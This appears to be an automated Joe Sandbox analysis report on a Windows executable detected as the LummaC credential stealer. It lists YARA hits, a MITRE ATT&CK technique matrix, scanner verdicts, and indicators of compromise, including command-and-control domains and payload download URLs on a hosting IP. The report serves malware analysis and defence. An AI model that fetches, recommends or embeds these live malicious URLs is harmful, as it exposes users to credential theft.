Source: Yara match	File source: 00000000.00000003.1502740986.00000000009B5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1417413479.00000000009AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5480, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 5480, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	34 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Process Injection	LSASS Memory	751 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	Security Account Manager	34 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	50%	ReversingLabs	Win32.Trojan.Symmi
file.exe	100%	Avira	TR/Crypt.XPACK.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://atten-supporse.biz//	100%	Avira URL Cloud	malware
https://atten-supporse.biz/apiq4	100%	Avira URL Cloud	malware
https://atten-supporse.biz/apil	100%	Avira URL Cloud	malware
https://atten-supporse.biz/Ma	100%	Avira URL Cloud	malware
https://atten-supporse.biz/g	100%	Avira URL Cloud	malware
https://atten-supporse.biz/apio	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0014.t-0009.t-msedge.net	13.107.246.42	true	false	high
atten-supporse.biz	104.21.16.9	true	false	high
www.google.com	142.250.181.100	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
dare-curbys.biz	false	high
impend-differ.biz	false	high
dwell-exclaim.biz	false	high
zinc-sneark.biz	false	high
formy-spill.biz	false	high
se-blurry.biz	false	high
covery-mover.biz	false	high
https://atten-supporse.biz/api	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
atten-supporse.biz	false	high
print-vexer.biz	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_109.12.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	file.exe, 00000000.00000003.1502791189.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1502216515.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1502676265.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exeAppleWebKit/537.36	file.exe, 00000000.00000002.1850746722.000000000075A000.00000004.00000010.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1374553730.00000000056BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1378373236.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIF	file.exe, 00000000.00000003.1502791189.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1502216515.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1502676265.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1374553730.00000000056BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1378373236.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_109.12.dr	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://atten-supporse.biz/Ma	file.exe, 00000000.00000002.1851237003.00000000008EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1374553730.00000000056BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1378373236.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/apiq4	file.exe, 00000000.00000003.1457195081.00000000009B5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/Youssef1313	chromecache_109.12.dr	false		high
https://atten-supporse.biz/_	file.exe, 00000000.00000003.1416860077.00000000009B1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1417413479.00000000009AA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_101.12.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_109.12.dr	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_109.12.dr	false		high
https://atten-supporse.biz//	file.exe, 00000000.00000003.1379023595.00000000009B0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1374007611.00000000009B0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.1457859487.00000000056D3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.1457859487.00000000056D3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_109.12.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1374553730.00000000056BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1378373236.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://github.com/gewarren	chromecache_109.12.dr	false		high
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.1458600410.00000000057AF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://atten-supporse.biz/apio	file.exe, 00000000.00000003.1457195081.00000000009B5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://atten-supporse.biz/apil	file.exe, 00000000.00000003.1416860077.00000000009B1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_109.12.dr	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_109.12.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1374553730.00000000056BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1378373236.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_109.12.dr	false		high
http://polymer.github.io/PATENTS.txt	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://aka.ms/certhelp	chromecache_90.12.dr, chromecache_101.12.dr	false		high
http://185.215.113.16/steam/random.exe	file.exe, 00000000.00000002.1851237003.00000000009B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1784945117.00000000009BC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	file.exe, 00000000.00000003.1458943554.00000000009B0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1374553730.00000000056BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1378373236.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.1457859487.00000000056D3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_109.12.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.1457859487.00000000056D3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_101.12.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1374553730.00000000056BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1378373236.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.1458600410.00000000057AF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_109.12.dr	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1374553730.00000000056BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1378373236.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/g	file.exe, 00000000.00000003.1458943554.00000000009B0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1457219497.00000000009B0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/nschonni	chromecache_109.12.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://github.com/adegeo	chromecache_109.12.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.1502791189.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1502216515.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1502676265.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_90.12.dr, chromecache_101.12.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.1457859487.00000000056D3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	file.exe, 00000000.00000003.1458943554.00000000009B0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/w	file.exe, 00000000.00000003.1556075655.00000000009B0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e	file.exe, 00000000.00000003.1458943554.00000000009B0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000003.1458943554.00000000009B0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://atten-supporse.biz:443/api	file.exe, 00000000.00000003.1502179262.00000000009B1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/js-cookie/js-cookie	chromecache_90.12.dr, chromecache_101.12.dr	false		high
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000002.1851237003.00000000009B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1784945117.00000000009BC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_109.12.dr	false		high
https://atten-supporse.biz/	file.exe, 00000000.00000003.1416938967.00000000009B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1502676265.00000000009B1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1379023595.00000000009B0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1502179262.00000000009B1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1784945117.00000000009BC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1502791189.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1502770236.00000000009B1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1416860077.00000000009B1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1502216515.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1785200524.0000000000943000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1374007611.00000000009B0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1458943554.00000000009B0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1502676265.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1417413479.00000000009AA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1457219497.00000000009B0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://channel9.msdn.com/	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1374553730.00000000056BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1378373236.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_90.12.dr, chromecache_101.12.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta	file.exe, 00000000.00000003.1502791189.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1502216515.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1502676265.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.42	s-part-0014.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.21.16.9	atten-supporse.biz	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.7

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1570677
Start date and time:	2024-12-07 17:34:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/61@7/7
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 9
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 217.20.58.98, 142.251.37.35, 2.16.230.26, 173.194.222.84, 172.217.17.46, 2.20.41.214, 217.20.58.101, 142.250.200.238, 142.250.181.106, 172.217.21.42, 216.58.208.234, 142.250.181.42, 172.217.19.10, 142.250.181.138, 172.217.19.170, 172.217.19.234, 172.217.19.202, 172.217.17.74, 172.217.17.42, 142.250.181.74, 2.20.68.216, 2.20.68.201, 142.250.181.142, 172.217.17.35
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, learn.microsoft.com, time.windows.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, redirector.gvt1.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, clients.l.google.com, wcpstatic.microsoft.com
Execution Graph export aborted for target file.exe, PID 5480 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
11:35:15	API Interceptor	274x Sleep call for process: file.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The URL 'learn.microsoft.com' is a subdomain of 'microsoft.com', which is the legitimate domain for Microsoft.", "Microsoft is a well-known brand, and the URL structure is consistent with Microsoft's official domains.", "There are no suspicious elements in the URL such as misspellings, extra characters, or unusual domain extensions.", "The subdomain 'learn' is commonly used by companies for educational or documentation purposes, which aligns with Microsoft's services." ], "riskscore": 1}
URL: learn.microsoft.com Brands: u Input Fields: unknown

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.42	https://protect-us.mimecast.com/s/FVibCzpzxLsxEMXAhgAOBC	Get hash	malicious	Unknown	Browse	www.mimecast.com/Customers/Support/Contact-support/
	http://border-fd.smartertechnologies.com/	Get hash	malicious	Unknown	Browse	border-fd.smartertechnologies.com/
	https://protect-us.mimecast.com/s/4MrPCrkvgotDWxrNCzxa8p	Get hash	malicious	Unknown	Browse	www.mimecast.com/
13.107.246.63	Contract Proposal Documents.pdf	Get hash	malicious	Unknown	Browse	assets-gbr.mkt.dynamics.com/cc57758b-ada1-ef11-8a64-000d3a872ba0/digitalassets/standaloneforms/645a21a8-32ac-ef11-b8e8-6045bd0f229c

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0014.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.42
	Salary 2025- workers-v1.xls	Get hash	malicious	Unknown	Browse	13.107.246.42
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.42
	Credit_DetailsCBS24312017915.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.42
	https://www.amtso.org/check-desktop-phishing-page/	Get hash	malicious	Unknown	Browse	13.107.246.42
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.42
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.42
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.42
	INVOICE DUE.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.42
	PO-54752454235.hta	Get hash	malicious	Remcos	Browse	13.107.246.42
atten-supporse.biz	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
s-part-0035.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	6bwv9qMojQ.exe	Get hash	malicious	Akira	Browse	13.107.246.63
	XcHLlyubFA.exe	Get hash	malicious	Akira	Browse	13.107.246.63
	JwpwRT1RDB.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	arm5.elf	Get hash	malicious	Unknown	Browse	20.199.249.220
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	arm.elf	Get hash	malicious	Unknown	Browse	20.118.106.123
	akcqrfutuo.elf	Get hash	malicious	Unknown	Browse	13.78.100.133
	jmhgeojeri.elf	Get hash	malicious	Unknown	Browse	20.63.169.117
	i686.elf	Get hash	malicious	Unknown	Browse	52.248.199.1
	i586.elf	Get hash	malicious	Unknown	Browse	40.88.53.195
	arm5.elf	Get hash	malicious	Unknown	Browse	22.228.175.168
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	arm5.elf	Get hash	malicious	Unknown	Browse	20.199.249.220
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	arm.elf	Get hash	malicious	Unknown	Browse	20.118.106.123
	akcqrfutuo.elf	Get hash	malicious	Unknown	Browse	13.78.100.133
	jmhgeojeri.elf	Get hash	malicious	Unknown	Browse	20.63.169.117
	i686.elf	Get hash	malicious	Unknown	Browse	52.248.199.1
	i586.elf	Get hash	malicious	Unknown	Browse	40.88.53.195
	arm5.elf	Get hash	malicious	Unknown	Browse	22.228.175.168
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Stealc	Browse	20.109.210.53 13.107.246.63 2.16.229.162
	IMPORTANT DOCUMENT.html	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 2.16.229.162
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.109.210.53 13.107.246.63 2.16.229.162
	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.109.210.53 13.107.246.63 2.16.229.162
	https://curnowlaw.com/	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 2.16.229.162
